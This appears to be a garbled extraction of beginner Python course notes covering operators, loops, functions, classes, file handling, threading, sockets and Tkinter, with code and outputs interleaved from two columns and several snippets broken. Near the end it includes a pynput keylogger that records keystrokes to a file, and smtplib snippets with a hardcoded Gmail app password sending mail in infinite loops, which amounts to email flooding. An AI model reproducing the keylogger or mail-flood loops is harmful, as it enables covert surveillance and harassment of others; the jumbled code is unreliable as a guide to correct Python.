print(c) print(c, id(a), id(b))
:- False 2630150522128 2630150523184 :- True 2630150522128 2630150522128
a = [1,2,3] a = [1,2,3]
b = [1,2,3] b = [1,2,3]
c = a[1] is b[1] c = a[0] is b[1]
print(c, id(a), id(b)) print(c, id(a), id(b))
a = 78 a = 78
b = 89 b = 78
c = a is not b c = a is not b
print(c, id(a), id(b)) print(c, id(a), id(b))
:- True :- False
a = ['enter','your','name'] a = ['enter','your','name']
b = 'name' in a b = 'nmr' in a
print(b) print(b)
:- True :- False
a = ['enter','your','name'] a = ['enter','your','name']
b = input('enter your name:') b = input('enter your name: ')
c = b in a c = b in a
print(c) print(c)
enter entar
:- True :- False
a = [10,20,30,'40'] a = [10,20,30,'40']
b = input('enter your Value: ') b = int(input('enter your Value: '))
c = b in a c = b in a
print(c) print(c)
11 10
:- False :- True
a = ['enter','your','name'] a = [10,20,30]
b = 245 not in a b = 10 not in a
print(b) print(b)
:- True :- False
Bitwise-Operator
:- 8 0b1010 0b1100
a = 23 | :- Bitwise or
b = 20
c = a&b a = 12
print(c) b = 10
c = a|b
print(c)
:- 20
:- 14
a = 23 ^ :- Bitwise exclusive or xor
b = 30
c = a|b a = 12
print(c) b = 10
c = a^b
:- 31 print(c)
:- 6
a = 20 ~ :- Bitwise Inversion
b= 26
c = a^b a = 10
print(c) b = ~a
print(b)
:- 14
:- -11
a = -10
b = ~a
print(b)
:- 9
:- 30
a = 15 a = 23
b = a<<3 b = a<<1
print(b) print(b)
:- 120 :- 46
a = 23 a = 23
b = a<<2 b = a<<3
print(b) print(b)
:- 92 :- 184
a = 0 a = -9
b = a<<1 b = a<<1
print(b) print(b)
:- 0 :- -18
>> :- Right-shift :- half the a = 23
value b = a >> 2
print(b)
a = 23
b = a >>1 :- 5
print(b)
:- 11
a = 30 a = 30
b = a >> 1 b = a >> 2
print(b) print(b)
:- 15 :- 7
a = 30
b = a >> 3
print(b)
:- 3
Conditions(if,elif,else,nested-if)
If :- if condition is True then it will execute if 4 > 5:
print('5 is greater than 4')
if 4 < 5:
print('5 is greater than 4') Note:- if is False then it will not Execute.
:- 5 is greater than 4
Elif :- we will use elif statement more than one If-if :- It will print all True Conditions
condition we have
a = 3 a = 3
b = 4 b = 4
c = 5 c = 5
:- It is Odd
:- :-
Enter your age:- 5 Enter your age:- 19
Your not Eligible for Voting Your are eligible for Voting
if a < b: if a < b:
print('a is smaller than b') print('a is smaller than b')
print('Done') print('Done')
else: else:
print('a is greater than b') print('a is greater than b')
:- :-
Enter your age 101 Enter your age 19
You are not eligible for voting You are eligible for voting
Elif :- if one condition if False then elif is True Run. if 2>3:
print('2 is less than 3')
if 2>3: elif 3>4:
print('2 is less than 3') print('3 is less than 4')
elif 3 < 4: elif 4<5:
print('3 is less than 4') print('4 is less than 5')
elif 4>5: elif 6 < 7:
print('4 is less than 5') print('6 is less than 7')
elif 6 > 7: else:
print('6 is less than 7') print('all conditions are false')
:-
else: 4 is less than 5
print('all conditions are false')
:-
3 is less than 4
a = int(input('enter your value 1-7 ')) a = int(input('enter your value 1-7 '))
if a == 1: if a == 1:
print('Sunday') print('Sunday')
elif a == 2: elif a == 2:
print('Monday') print('Monday')
elif a == 3: elif a == 3:
print('Tuesday') print('Tuesday')
elif a == 4: elif a == 4:
print('Wednesday') print('Wednesday')
elif a == 5: elif a == 5:
print('Thursday') print('Thursday')
elif a == 6: elif a == 6:
print('Friday') print('Friday')
elif a==7: elif a==7:
print('Saturday') print('Saturday')
else: else:
print('You have entered invalid Number') print('You have entered invalid Number')
enter your value 1-7 1 enter your value 1-7 8
Sunday You have entered invalid Number
:- :-
enter the value 5 enter the value 0
Positive Number zero number
if 2>3: if 2<3:
print('2 is less than 3') print('2 is less than 3')
if 6<5: if 6>5:
print('5 is less than 6') print('5 is less than 6')
if 6<7: if 6>7:
print('6 is less than 7') print('6 is less than 7')
else: else:
print('Not value') print('6 is not greater than
7')
:- else:
Not value print('Not value')
:-
2 is less than 3
5 is less than 6
6 is not greater than 7
if 2<3:
print('2 is less than 3')
if 6<5:
print('5 is less than 6')
if 6<7:
print('6 is less than 7')
if 7<8:
print('7 is less than 8')
else:
print('7 is not greater than 8')
else:
print('6 is not greater than 7')
else:
print('6 is not greater than 5')
else:
print('Not value')
:-
2 is less than 3
6 is not greater than 5
Loops
• While-Loop
• For-Loop
a = 0 # Initialize 1
# 2
print('Numbers','\t','Squares')
while a < 10: # Conditions
4
a+=1 5
if a==3: 6
continue 7
print(a) 8
9
10
a = 0 0
while a < 5: 1
if a == 3:
break
2
print(a)
a+=1
Nested-while-Loop
Initialize
while condition: (Outer-Loop (Row) -> It doesn’t print anything)
Initialize
while condition: (Inner-Loop (Column) -> It prints in column)
statement
Increment/Decrement
Increment/Decrement
i = 1 1
while i <= 5: #Row 12
j = 1 123
while j <= i: #Column 1234
print(j, end='') 12345
j += 1
print() Note :- If all values same at the column side
i += 1 then use Column-Loop(Inner-Loop)
i = 5 55555
while i >= 1: #Row 4444
j = 1 333
while j <= i: #Column 22
print(i, end='') 1
j += 1
print() Note :- If all values same at the Row side
i -= 1 then use Row Loop Values in Column-Loop.
i = 5 12345
while i >= 1: #Row 1234
j = 1 123
while j <= i: #Column 12
print(j, end='') 1
j += 1
print()
i -= 1
i = 1 1
while i <= 5: #Row 22
j = 1 333
while j <= i: #Column 4444
print(i, end='') 55555
j += 1
print()
i += 1
i = 1 *
while i <= 5: #Row **
j = 1 ***
while j <= i: #Column ****
print(‘*’,end=’’) *****
j += 1
print()
I += 1
i = 1 1
while i <= 5: #Row 12
j = 1 123
while j <= 5 - i: #Column 1234
print(' ',end='') 12345
j += 1
k = 1
while k <= i: #Column
print(k, end='')
k += 1
print()
i += 1
i = 5 5
while i >= 1: #Row 44
j = 1 333
while j <= i - 1: #Column 2222
print(' ',end='') 11111
j += 1
k = 1
while k <= 6 - i: #Column
print(i, end='')
k += 1
print()
i -= 1
i = 1 1
while i <= 5: #Row 22
j = 1 333
while j <= 5 - i: #Column 4444
print(' ', end='') 55555
j += 1
k = 1
while k <= i: #Column
print(i, end='')
k += 1
print()
i += 1
i = 1 *
while i <= 5: #Row **
j = 1 ***
while j <= 5 - i: #Column ****
print(' ',end='') *****
j += 1
k = 1
while k <= i: #Column
print('*', end='')
k += 1
print()
i += 1
For-Loop
Data-Type -> Sequence-DataType:-List,Tuple,String.
a = [12,34,56,78,90] 12
for i in a:
print(i)
34
if i == 56: 56
break
a = [12,34,56,78,90] 12
for i in a:
if i == 56:
34
break
print(i)
a = [12,34,56,78,90] 12
for i in a:
if i == 56:
34
continue 78
print(i) 90
a = [12,34,56,78,90] 12
for i in a:
if i == 56:
34
pass 56
print(i) 78
90
Range :-
for variable in range(1,11): for variable in range(1,1):
print(variable, end=’ ‘) print(‘*’)
It will print nothing
1 2 3 4 5 6 7 8 9 10
It will not print last value. It will print less one from the last value.
for i in range (10,0,-1): 10
print(i)
9
8
7
6
5
4
3
2
1
for i in range (5): 0
print(i)
1
2
3
4
a = [20,21,61,68] 20
for i in a:
if i == 20:
print(i)
a = [20,21,61,68] 20
for i in a:
if i == 20 or i == 68: 68
print(i)
a = ['h','a','r','i','s','h']
for i in a:
harish
print(i , end='')
a = 'harish' harish
for i in a:
print(i, end='') Loop-Terminated
else:
print()
print('Loop-Terminated')
for i in range(2,21,2): 2
print(i)
4
6
8
10
12
14
16
18
20
for i in range(1,21,2): 1
print(i)
3
5
7
9
11
13
15
17
19
Nested-for-Loop
for row in range(1,6):
for column in range(1,6):
print(‘ ’, end=’’)
print()
for i in range(1,6): *
for j in range(1,i+1):
print('*', end='')
**
print() ***
****
*****
for i in range (1,6): 1
for j in range (1, i+1):
print(i, end='')
22
print() 333
4444
55555
for i in range (5,0,-1): *****
for j in range (1, i+1):
print('*', end='')
****
print() ***
**
*
for i in range (5,0,-1): 12345
for j in range (1, i+1):
print(j, end='')
1234
print() 123
12
1
n = 6 *
for i in range(1,n):
for j in range(1,n-i):
**
print(' ',end='') ***
for k in range(1,i+1): ****
print('*', end='') *****
print()
n = 6 *
m = n+1
for i in range(1,m):
**
for j in range(1,m-i): ***
print(' ',end='') ****
for k in range(1,i+1): *****
print('*', end='')
print()
******
n = 6 *****
for i in range(1,n):
for j in range(1,i):
****
print(' ',end='') ***
for k in range(1,n-i+1): **
print('*', end=' ') *
print()
for i in range(1,6): 1
for j in range(1,6-i):
print(' ',end='')
12
for k in range(1,i+1): 123
print(k, end=' ') 1234
print() 12345
for i in range(1,6): 1
for j in range(1,6-i):
print(' ',end='')
22
for k in range(1,i+1): 333
print(i, end=' ') 4444
print() 55555
for i in range(1,6): *
for j in range(1,6-i):
print(' ', end='')
**
for k in range(1,i+1): ***
print('*', end=' ') ****
print() *****
for i in range(1,6): 12345
for j in range(1,i):
print(' ',end='')
1234
for k in range(1,7-i): 123
print(k, end=' ') 12
print() 1
for j in range(1,4):
n = int(input('Enter the pin : '))
if n == password:
print('Pin-Done')
break
else:
print('BLOCK')
for i in range(1,6): *
for j in range(1,6-i):
print(' ', end='')
**
for k in range(1,i+1): ***
print('*', end=' ') ****
print() *****
for l in range(1,6):
for m in range(1,1+l):
****
print(' ', end='') ***
for n in range(1,6-l): **
print('*', end=' ') *
print()
for i in range(5,0,-1): 5
for j in range(1,i):
print(' ', end='')
44
for k in range(1,7-i): 333
print(i, end=' ') 2222
print() 11111
for i in range(1,6):
for j in range(1,i):
11111
print(' ',end='') 2222
for k in range(1,7-i): 333
print(i, end=' ') 44
print()
5
for i in range(0,7):
for j in range(0,7):
if i+j == 3 or i - j == 3 or j - i == 3 or i + j == 9:
print('*',end='')
else:
print(' ', end='')
print()
*
**
* *
* *
* *
**
*
Functions
Functions :- A function is a block of code which only runs when it is called
anywhere even to another file.
def name():
block of code
def name(): :-
print('This is a Function')
name()
This is a Function
def inp(): :-
a = input('Enter the name ')
print(a)
Enter the name 5
inp() 5
for i in range(5): 0
print(i)
name()
1
2
3
4
This is a Function
for i in range(5): This is a Function
name()
This is a Function
This is a Function
This is a Function
This is a Function
def add(a,b,c): 36
d = a+b+c
print(d)
add(10,12,14)
def add(a,b,c): 21
d = a+b+c
print(d)
add(6,7,8)
def add(a,b,c): 10 14 2
print(a,b,c)
d = a+b+c
26
print(d)
add(10,14,2)
def add(a=5,b=6,c=0): 31
d = a+b+c
print(d)
add(10,14,7) #Priority
def add(a,c,b=9): 10 9 5
print(a,b,c)
d = a+b+c
24
print(d)
add(10,5)
def add(c,a=5,b=6): 10 14 6
print(c,a,b)
d = a+b+c
30
print(d)
add(10,14)
def add(c,a=5,b=6): 10 14 7
print(c,a,b)
d = a+b+c
31
print(d)
add(10,14,7)
def add(a,b,c): 27
d = a+b+c
print(d)
add(c=8,b=9,a=10)
Functions.py Function.py
def name():
print('This is a Function') import Functions
name() functions.name()
This is a Function
This is a Function
return:-
def name():
block of code
return result
Return store the result of a function code and in a name of a function and
make it variable.
Nothing will execute below of a return. Even in nested functions.
return makes function a Variable.
Nested-Functions
def calculator(a,b,c): 3
d = a+b+c
print(d)
9
def add(d,e):
a2 = d+e
print(a2)
add(5,4)
calculator(1,1,1)
def calculator(a,b,c): 3
d = a+b+c
print(d)
11
def add(d,e):
a2 = d+e
return a2
print(add(5,6))
calculator(1,1,1)
Lambda :-
A lambda function can take any number of arguments, but can only have
one expression.
Functions :- map,reduce,filter.
Map :- map is a function which iterate every-item of a sequence Data-Type.
Like Tuple,List,String.1
Variable = map(function, variable)
Variable1 = list(Variable)
a = [1,2,3,4] [1, 4, 9, 16]
def abc(i):
a1 = i*i
return a1
a2 = map(abc,a)
a3 = list(a2)
print(a3)
a2 = list(map(d,a))
print(a2)
Filter :-
a = [4,5,6,7,8,9] [4, 5, 6, 7]
def abc(i):
a1 = i<= 7
return a1
a2 = list(filter(abc,a))
print(a2)
a = [4,5,6,7,8,9] [4, 5, 6, 7]
abc = lambda i: i <= 7
a2 = list(filter(abc,a))
print(a2)
a = [4,5,6,7,8,9] [4, 6, 8]
abc = lambda i: i %2== 0
a2 = list(filter(abc,a))
print(a2)
*args or *anyname :- You can use any name. return willl not work on *args
def name(*args): abc dcd fdg 65 98
print(*args)
name('abc','dcd','fdg',65,98)
Variable in a function can not work outside of a functions and the inside
variable called local-variable.
def name():
a = 56 #local variable
b = 78
c = a+b
print(c)
name()
print(a)#wrong not work
a1 = 1 3
def name():
global a
1
a = 1
b = 1
c = a+b+a1
print(c)
name()
print(a)
a1 = 1 3
def name():
global a,b
1
a = 1 1
b = 1
c = a+b+a1
print(c)
name()
print(a)
print(b)
a1 = 1 3
def name():
a = 1
b = 1
c = a+b+a1
print(c)
name()
def name(): 2
a = 1
b = 1
3
c = a+b
print(c)
def nickname():
d = 2
e = d+a
print(e)
nickname()
name()
OOPS
The main concept of OOPs is to bind the data and the functions that work on
that together as a single unit so that no other part of the code can access this
data.
self :- it help function argument to get the value. It is must.
Class :- It can store multiple objects or methods information. It is a BluePrint.
class Cat:
object or method
object:- state, Behaviour, Identiy
state :- color,bread,age
Behaviour :- eating or sleeping
Identity :- name
Creating-Multiple-Objects:
Variable = class()
class anything:
def anything(self): -> Method :- inside information is called Objects.
self.Same-name or different-name = must be same in a function
class cat: abc
def info(self, name, color, work):
self.name = name
red
self.color = color sleep
self.work = work
def info1(self):
print(self.name)
print(self.color)
print(self.work)
a = cat()
a.info('abc','red','sleep')
a.info1()
def info1(self):
print(self.naming)
print(self.coloring)
print(self.working)
a = cat()
a.info('abc','red','sleep')
a.info1()
a = cat()
a.info('abc','red','sleep')
a = mobile()
a.info('realme','Black',9000,'Personal')
def info1(self):
print('Name:',a1)
print('Color:',self.color)
print('Price:',self.price)
print('Work:',self.work)
Constructor :- Don’t need to call the function. It calls when object calls or
variable. __init__(self), __init__(self,att1,att2….more)
One class has one contructor. Lastes one override
class company: Harish Indirapuram Hacker
def __init__(self,name,address,work):
self.name = name
self.address = address
self.work = work
print(self.name,self.address,self.work)
a = company('Harish','Indirapuram','Hacker')
def __init__(self):
print('It is Override')
a = company()
class company: Harish Indirapuram Hacker
def __init__(self,name,address,work):
self.name = name #Objects
Hello word!
self.address = address Salary 30000
self.work = work
print(self.name,self.address,self.work)
def info(self):
print('Hello word!')
def info1(self,Salary):
self.Salary = Salary
print('Salary',self.Salary)
a = company('Harish','Indirapuram','Hacker')
a.info()
a.info1(30000)
a = vehicle()
a.info1('Jaguar','Black',6500,'98565')
a = vehicle('Jaguar','Black',6500,'98565')
a = vehicle()
a.info2('Jaguar','Black',6500,'98565')
a = vehicle('Jaguar','Black',6500,'98565')
Multilevel-Inheritance :-
A—B—C—D
A -> Parent-Class, B,C,D -> Child-Class
class car: 6562
def info(self, name):
self.name = name
656565
print(self.name) Black
Metro
class bike(car): Audi
def info1(self, name,color):
self.color = color
print(self.color)
car.info(self,name)
class cycle(bike):
def info2(self,name,color,price):
self.price = price
print(self.price)
bike.info1(self,name,color)
class train(cycle):
def info3(self,name,color,price,model):
self.model = model
print(self.model)
cycle.info2(self,name,color,price)
a = train()
a.info3('Metro','Black',656565,6562)
a.info('Audi')
Hierarchical inheritance
Multiple Child-Class and One-Parent-Class.
Parent-Class
|
| | | |
Child-Class Child-Class Child-Class Child-Class
Function-name = methods
Function-attributes = variable, attributes, function.
Function-call = value, arguments
Class-name = objects.
class Animal: #Object ki information store krta h Harish 656
class.
a = Animal()
a.info('Harish',656)
a = animal()
a.info('Dog','black')
print(a.abc)
a = animal()
a.info('Dog','black')
class animal: Sparrow
def info(self, name):
self.name = name
Black
print(self.name) Sparrow
a = Bird()
a.info('Sparrow')
a.info1('Sparrow','Black')
b = mammal()
b.info('Elephants')
b.info2('Elephants','hardwork')
c = fish()
c.info3('Tiger',65)
c.info('Tiger')
d = animal()
d.info('Zibra')
class Bird(animal):
def info1(self,name,color):
self.color = color
print(self.color)
animal.info(self,name)
class mammal(animal):
def info2(self, name,work):
self.work = work
print(self.work)
animal.info(self,name)
class fish(mammal):
def info3(self,name,work,age):
self.age = age
print(self.age)
mammal.info2(self,name,work)
a = fish()
a.info3('Tiger','Carnivorous','Hunt')
class animal: 65
def info(self, name):
self.name = name
Carnivorous
print(self.name) Tiger
class Bird(animal):
def info1(self,name,color):
self.color = color
print(self.color)
animal.info(self,name)
class mammal(animal):
def info2(self, name,work):
self.work = work
print(self.work)
animal.info(self,name)
class fish(mammal):
def info3(self,name,work,age):
self.age = age
print(self.age)
mammal.info2(self,name,work)
a = fish()
a.info3('Tiger','Carnivorous',65)
class Company:
Harish 56 Male
def info(self,name):
self.name = name Craw
print(self.name) Ravi 65 Fe-male
Origin
class employee(Company): Ajay 98 Male
def info1(self,empname,age,gender,name):
self.empname = empname Nasscom
self.age = age
self.gender = gender
print(self.empname, self.age,
self.gender)
Company.info(self,name)
class marketing(Company):
def info2(self, role,name):
self.role = role
print(self.role)
Company.info(self, name)
class performance(marketing):
def info3(self, performing,role):
self.performing = performing
marketing.info2(self,role)
a = employee()
a.info1('Harish',56,'Male','Craw')
b = employee()
a.info1('Ravi',65,'Fe-male','Origin')
c = employee()
a.info1('Ajay',98,'Male','Nasscom')
class Dog(cat):
def info(self, name1,color1,work):
super().info('abc','Red')
self.name1 = name1
self.color1 = color1
self.work = work
print(self.name1, self.color1, self.work)
a = Dog()
a.info('Snale','Black','Bite')
class Dog(cat):
def info(self, name1,color1,work):
self.name1 = name1
self.color1 = color1
self.work = work
print(self.name1, self.color1, self.work)
super().info('abc','Red')
a = Dog()
a.info('Snale','Black','Bite')
class cat: abc
def info(self, name,color):
self.name = name
Red
self.color = color dog red bark
print(self.name) Sparrow
print(self.color) Black
class Dog(cat):
def info(self, name1,color1,work):
super().info('abc','Red')
self.name1 = name1
self.color1 = color1
self.work = work
print(self.name1, self.color1, self.work)
class bird(Dog):
def info(self, name2,color2):
super().info('dog','red','bark')
self.name2 = name2
self.color2 = color2
print(self.name2)
print(self.color2)
a = bird()
a.info('Sparrow','Black')
a = login()
a.info()
print(a.username)
print(a.password)
class login: AttributeError: 'login'
def info(self):
self.username = 'Harish'
object has no attribute
self.__password = '123456' '__password'
a = login()
a.info()
print(a.username)
print(a.__password)
a = login()
a.info()
a = login()
a.__info()
a = login()
a.info()
File-Handling :- File handling is an important part of any web application
With the help of file-handling we can create,add,delete the files.
It can not use in image,video, audio.
open()
variable = open(‘file.txt’, ’modes’)
modes :-
• Read(r) :- it help to read the file content inside.
• Append(a) :- it help to append new data inside a file.
• Write(w) :- it help to write and create the file. It doesn’t exist.
• Create(x) :- it only creates file.
• Delete(w+) :- it help to delete the whole content inside a file.
a = open('abc.txt','w') abc.txt
a.write('Hello')
Hello
a = open('abc.txt','w') abc.txt
a.write('Hello-world') #it is
override. Hello-world
a = open('abc.txt','w') abc.txt
a.write('This is First-line')
a.write('\nThis is Second-Line') This is First-line
This is Second-Line
a = open('abc.txt','a') #it appends abc.txt
the text in a file.
a.write('\nThis is Third-line') This is First-line
a.write('\nThis is Fourth-Line') This is Second-Line
This is Third-line
This is Fourth-Line
a = open('abc.txt','r') #to read the file This is First-line
b = a.read() This is Second-Line
print(b) This is Third-line
This is Fourth-Line
a = open('abc.txt','w')
a.write('This is First-Line\n'
'This is Second-Line\n'
'This is Third-Line\n'
'This is Fourth-Line\n'
'This is Fifth-Line\n'
'This is Sixth-Line\n'
'This is Seventh-Line\n')
19
a = open('abc.txt','r') ['This is First-Line\n', 'This is Second-
print(a.readlines()) Line\n', 'This is Third-Line\n', 'This is
Fourth-Line\n', 'This is Fifth-Line\n',
'This is Sixth-Line\n', 'This is
Seventh-Line\n', 'This is Eiegth-
Line\n', 'This is Nineth-Line']
a = open('abc.txt','r') This is First-Line
for b in a: This is Second-Line
print(b.strip()) This is Third-Line
This is Fourth-Line
This is Fifth-Line
This is Sixth-Line
This is Seventh-Line
with open("example.txt", "w") as file: example.txt
file.write("Hello World!")
Hello World!
import pynput
with Listener(on_press=keylogger) as
listener:
listener.join()
def keylogger(Key):
b = Key
a = open('abc.1txt','a')
a.write(str(b))
a.write('\n')
with Listener(on_press=keylogger) as
listener:
listener.join()
def add(a,b): 5
print(a+b)
-1
def sub(a,b): 6
print(a-b) 0.6666666666666666
def mul(a,b):
print(a*b)
def div(a,b):
print(a/b)
a = threading.Thread(target=add, args=(2,3))
b = threading.Thread(target=sub, args=(2,3))
c = threading.Thread(target=mul, args=(2,3))
d = threading.Thread(target=div, args=(2,3))
a.start()
b.start()
c.start()
d.start()
Add 5
def add(a,b):
print('Add',a+b)
Sub -1
Divide 0.6666666666666666
def sub(a,b):
print('Sub',a-b)
def mul(a,b):
return False
def div(a,b):
print('Divide',a/b)
a = threading.Thread(target=add, args=(2,3))
b = threading.Thread(target=sub, args=(2,3))
c = threading.Thread(target=mul, args=(2,3))
d = threading.Thread(target=div, args=(2,3))
a.start()
b.start()
c.start()
d.start()
def add(a,b):
print(a+b)
def sub(a,b):
for i in range(1,100):
print('Loop',i)
def mul(a,b):
print(a*b)
def div(a,b):
print(a/b)
a = threading.Thread(target=add, args=(2,3))
b = threading.Thread(target=sub, args=(2,3))
c = threading.Thread(target=mul, args=(2,3))
d = threading.Thread(target=div, args=(2,3))
a.start()
a.join() #Wait for complete one function then
other will Run
b.start()
b.join()
c.start()
c.join()
d.start()
d.join()
import requests
from bs4 import BeautifulSoup
import html5lib
a = 'https://www.amazon.in/'
b = requests.get(a)
c = BeautifulSoup(b.content, 'html5lib')
d = c.prettify()
print(c.prettify())
a = open('html.txt','a')
a.write(str(d.encode()))
import smtplib
a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
message = 'hello'
a.sendmail('[email protected]','[email protected]',mes
sage)
a.quit()
a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
message = 'hello'
while True:
a.sendmail('[email protected]','[email protected]',mes
sage)
a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
message = 'hello'
while True:
a.sendmail('[email protected]','[email protected]',mes
sage)
a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
mailid =
['[email protected]','[email protected]','dheerajsack@gmail.
com']
for i in mailid:
message = 'Hey!'
a.sendmail('[email protected]',i,message)
a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
while True:
mailid = input('Enter mail-id ')
m = input('Enter the message ')
if mailid =='' or m=='':
a.sendmail('[email protected]',mailid,m)
a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
while True:
mailid = input('Enter mail-id ')
m = input('Enter the message ')
if mailid =='' or m=='':
a.sendmail('[email protected]',mailid,m)
Socket
A socket is one endpoint of a two way communication link between two
programs running on the network.
Import socket
Socketclient.py
a = socket.socket()
a.connect(('localhost',1234))
m = 'hello'
m1 = m.encode()
a.send(m1)
a.close()
Socketserver.py
a = socket.socket()
a.bind(('localhost',1234))
a.listen() #how many system listen(5 (no. of connection))
msg, addr = a.accept()
while True:
b = msg.recv(1024)
b1 = b.decode()
if b1 == '':
break
else:
print(b1)
Socketclient.py
a = socket.socket()
a.connect(('localhost',1234))
while True:
m = input('Enter the message ')
m1 = m.encode()
a.send(m1)
Socketserver.py
a = socket.socket()
a.bind(('localhost',1234))
a.listen() #how many system listen(5 (no. of connection))
msg, addr = a.accept()
print(addr)
while True:
b = msg.recv(1024)
b1 = b.decode()
if b1 == '':
break
else:
print(b1)
SocketServer.py
a = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
a.bind(('localhost',1234))
while True:
msg, addr = a.recvfrom(1024)
msg1 = msg.decode()
print(msg1)
if msg1 == '':
break
else:
a1 = input('Message from Server: ')
a2 = a1.encode()
a.sendto(a2,addr)
SocketClient.py
a = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
while True:
a1 = input('Message from Client: ')
a2 = a1.encode()
a3 = ('localhost',1234)
a.sendto(a2,a3)
a4 = a.recvfrom(1024)
a5 = a4[0].decode()
if a5 == '':
break
else:
print(a5)
Tkinter
Graphical-User-Interface Geometery-Configuration
Widgets of Tkinter
Button
b.pack(side=LEFT)
b.pack(side=BOTTOM)
Checkbutton
c = IntVar()
checkbutton1.place(x=0, y=0)
checkbutton2.place(x=0,y=40)
checkbutton3.place(x=0,y=80)
checkbutton4.place(x=0,y=120)
Label
f.place(x=0,y=0)
Radiobutton
e = IntVar()
b1.place(x=0,y=40)
b.place(x=0,y=80)
c.place(x=0,y=120)
d.place(x=0,y=160)
Entry
b1 = Entry(a,width=50)
b1.pack()
b1 = Entry(a,width=50,show='*')
b1.pack()
Text
Spinbox
b1 = Spinbox(a,from_=1, to=12)
b1.pack()
Scale
Menu
b1 = Menu(a)
a.config(menu=b1)
b2 = Menu(b1, tearoff=0)
b1.add_cascade(label='File',menu=b2)
b2.add_command(label='open file', command=filedialog.askopenfile)
b2.add_command(label='create file')
b2.add_separator()
b2.add_command(label='save file', command=filedialog.asksaveasfile)
b3 = Menu(b2, tearoff=0)
b2.add_cascade(label='abc', menu=b3)
b3.add_command(label='abc1')
b3.add_command(label='abc2')
b3.add_command(label='abc3')
c1 = Menu(b1,tearoff=0)
b1.add_cascade(label='Edit', menu=c1)
c1.add_command(label='Edit1')
c1.add_command(label='Edit2')
c1.add_command(label='Edit3')
Frame
b1 = Frame(a, bg='pink')
b1.place(x=200, y=200)
b2 = Button(b1, text='Top')
b2.pack(side=TOP)
b3 = Button(b1, text='Bottom')
b3.pack(side=BOTTOM)
b4 = Button(b1, text='Right')
b4.pack(side=RIGHT)
b5 = Button(b1, text='Left')
b5.pack(side=LEFT)
Scrollbar
a1 = Scrollbar(a)
a1.pack(side=RIGHT, fill=Y)
Listbox
a2 = Listbox(a)
a2.insert(0,'Python')
a2.insert(1,'Java')
a2.insert(2, 'C++')
a2.pack()
Message
PanelWindow()
b = PanedWindow()
b.pack()
b2 = Entry(a)
b.add(b2)
b4 = Entry(a)
b4.pack()
Canvas
Import tkinter
a = tkinter.Tk()
a.geometry(‘600x600’) -> Size of the GUI
a.title(‘Title’) -> To name the GUI
a.config(bg = ‘black’) -> To change the background-Color
b = tkinter.Button(a, text='Submit', bg='black',
foreground='white', font=('calibri',12,'bold'),
cursor='hand2' )
def add():
c = 9+10
print(c)
add.place(x=150,y=200)
b.place(x=0, y=0)
c.place(x=40, y=60)
d.place(x=130, y=170)
e.place(x=220, y=280)
a.mainloop()
import tkinter
a = tkinter.Tk()
a.geometry('600x600')
a.title('Title')
a.config(bg='black')
c = tkinter.IntVar()
checkbutton1.place(x=0, y=0)
checkbutton2.place(x=0,y=40)
checkbutton3.place(x=0,y=80)
checkbutton4.place(x=0,y=120)
a.mainloop()
from tkinter import *
# from tkinter import messagebox
import calendar
a = Tk()
icon = PhotoImage(file='3652191.png')
a.iconphoto(False,icon)
a.geometry('700x700')
a.title('Calendar-Tkinter')
monthslabel = Label(text='Months')
monthslabel.place(x=80, y=100)
yearslabel = Label(text='Years')
yearslabel.place(x=600,y=100)
def Show():
m = Months.get()
y = Years.get()
Texts.delete('1.0',END)
cal = calendar.month(int(y), int(m))
Texts.insert(END,cal)
def clear():
Texts.delete('1.0',END)
ClearButton = Button(a, text='Clear', width=20,
command=clear)
ClearButton.place(x=300, y=600)
def exit():
a.destroy()
a.mainloop()